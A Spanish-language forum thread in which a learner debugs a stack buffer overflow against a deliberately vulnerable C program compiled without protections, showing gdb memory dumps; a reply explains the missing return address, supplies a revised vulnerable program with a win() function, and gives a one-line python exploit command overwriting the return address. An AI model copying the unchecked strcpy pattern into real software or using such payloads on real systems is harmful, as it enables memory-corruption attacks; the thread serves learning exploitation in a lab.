Explotando un Buffer Overflow

Iniciado por desbordebuffer, 10 Agosto 2017, 05:13 AM

0 Miembros y 1 Visitante están viendo este tema.

desbordebuffer

que tal gente...
con motivos de aprendizaje y para entender un poco mas del tema, estoy intentando explotar una vulnerabilidad de buffer overflow en un programa simple vulnerable que programe.
el programa en cuestion es el siguiente:


#include <stdio.h>

int main(int argc, char **argv) {
    if(!argv[1]) return 0;
     char desbordame[100];
     strcpy(desbordame, argv[1]);
}

gcc vuln.c -o vuln -fno-stack-protector -z execstack -m32 -g3


procedo a rellenar el buffer con basura, hasta llegar al punto de causar un SEGFAULT.
tengo entendido que cuando esto sucede, es porque se desbordo el buffer y el contenido que se sigue volcando reemplazo a la direccion de memoria apuntada por el registro EIP o Instruction Pointer, produciendo que el programa intente ejecutar lo que se encuentre en la nueva direccion de memoria apuntada, (0x424242 en el caso de rellenar el bufer con caracteres "B")

lo siguiente que hago, es debuggearlo con gdb, para poder visualizar que hay en la pila y ver lo que esta sucediendo, y conseguir la direccion de memoria donde comienza el buffer, para lograr meter esa direccion en el instruction pointer, produciendo que se ejecute desde el principio del buffer y luego introducir una shellcode que ejecute /bin/sh en lugar de caracteres 0x42.

el problema que estoy teniendo, es que al debugear el programa parece ser que el error de segmentacion se produce por no poder leer desde argv[1], que supuestamente se encuentra en la direccion de memoria 0x424242, y argc, 0x42424c

esto es lo que se puede apreciar en la pila al momento del strcpy pausando la ejecucion del programa:


0xffffd388: 0x76 0x75 0x6c 0x6e 0x2f 0x76 0x75 0x6c
0xffffd390: 0x6e 0x00 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd398: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3a0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3a8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3b0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3b8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3c0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
---Type <return> to continue, or q <return> to quit---
0xffffd3c8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3d0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3d8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3e0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3e8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3f0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd3f8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd400: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd408: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd410: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd418: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd420: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd428: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd430: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd438: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd440: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd448: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd450: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd458: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd460: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd468: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd470: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd478: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
---Type <return> to continue, or q <return> to quit---
0xffffd480: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd488: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd490: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd498: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4a0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4a8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4b0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4b8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4c0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4c8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4d0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4d8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4e0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4e8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4f0: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd4f8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd500: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd508: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd510: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd518: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd520: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd528: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd530: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
---Type <return> to continue, or q <return> to quit---
0xffffd538: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
0xffffd540: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x00
0xffffd548: 0x4f 0x50 0x45 0x52 0x41 0x5f 0x43 0x52
0xffffd550: 0x41 0x53 0x48 0x5f 0x54 0x45 0x52 0x4d
0xffffd558: 0x49 0x4e 0x41 0x54 0x45 0x44 0x5f 0x45
0xffffd560: 0x58 0x54 0x45 0x4e 0x53 0x49 0x4f 0x4e
0xffffd568: 0x53 0x3d 0x00 0x4c 0x53 0x5f 0x43 0x4f
0xffffd570: 0x4c 0x4f 0x52 0x53 0x3d 0x72 0x73 0x3d
0xffffd578: 0x30 0x3a 0x64 0x69 0x3d 0x30 0x31 0x3b
0xffffd580: 0x33 0x34 0x3a 0x6c 0x6e 0x3d 0x30 0x31
0xffffd588: 0x3b 0x33 0x36 0x3a 0x6d 0x68 0x3d 0x30
0xffffd590: 0x30 0x3a 0x70 0x69 0x3d 0x34 0x30 0x3b
0xffffd598: 0x33 0x33 0x3a 0x73 0x6f 0x3d 0x30 0x31
0xffffd5a0: 0x3b 0x33 0x35 0x3a 0x64 0x6f 0x3d 0x30
0xffffd5a8: 0x31 0x3b 0x33 0x35 0x3a 0x62 0x64 0x3d


veo que el buffer comienza en 0xffffd390.
ahora lo que yo espero que ocurra, es que el programa deje de ejecutarse por no poder acceder a la direccion 0x424242 (que supuestamente es lo que tendria que haber en el EIP).
pero en lugar de eso, esto es lo que sucede:


(gdb) info registers
eax            0xffffd150 -11952
ecx            0xffffd150 -11952
edx            0xffffd174 -11916
ebx            0x56556fd0 1448439760
esp            0xffffd030 0xffffd030
ebp            0xffffd138 0xffffd138
esi            0x2 2
edi            0xf7fab000 -134565888
eip            0x565555d2 0x565555d2 <main+34>
eflags         0x212 [ AF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0 0
gs             0x63 99
(gdb)



(gdb) continue
Continuando.
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Program received signal SIGSEGV, Segmentation fault.
0x5655560d in main (
    argc=<error de lectura de variable: No se puede acceder a la memoria en la dirección 0x42424242>,
    argv=<error de lectura de variable: No se puede acceder a la memoria en la dirección 0x42424246>) at vuln.c:9
9 }
(gdb)



que es lo que estoy haciendo mal?
estoy compilando bien el programa? (es decir mal para que se pueda vulnerar?)

agradezco su ayuda

charlymd

La última vez que intenté un buffer overflow en 32 bits seguí este video: https://www.youtube.com/watch?v=QOWyK5nhtrI

l3x4

El problema en realidad es muy simple ,a mi también me pasó cuando estuve aprendiendo cómo explotar stack overflows en linux.

El problema reside en que en tu programa vulnerable no existe ninguna dirección de retorno (EIP) que se almacene en el stack ¿porque? porque no se necesita , no estas llamando a ninguna función , solamente estas en main.

Cuando tu llamas a una función la próxima dirección en la parte en la que se produjo la llamada se almacena en el stack, para cuando se acabe dicha función pueda volver a main, en cambio en este caso no estas llamando a ninguna función, por ende no existe ninguna dirección de retorno.

He editado un poco tu código y he hecho un programa vulnerable real en la que si se almacena el ret addr, también he puesto una función win para que la ejecutes y compruebes tu exploit:

#include <stdio.h>

void win()
{
printf("Has conseguido ejecutar esta funcion\n");
}

void funcion(char *arg)
{
char desbordame[100];

strcpy(desbordame, arg);
}

int main(int argc, char **argv)
{
funcion(argv[1]);

printf("No conseguiste ejecutar win\n");
}


Acuerdate de compilar el programa con:
gcc vuln.c -o vuln -fno-stack-protector -z execstack -m32 -g3

Como hiciste.


Te dejo también la solución por si tienes dudas:

*Para lograr ejecutar la función de win debes sobrecargar el stack con 112 caracteres antes de llegar a la return address y después le sumas la dirección a tu shellcode , o en este caso la función de win.

Te dejo el script:

./vuln $(python -c 'print "A"*112 + "\x3b\x84\x04\x08"')

0x804843b es la dirección de win.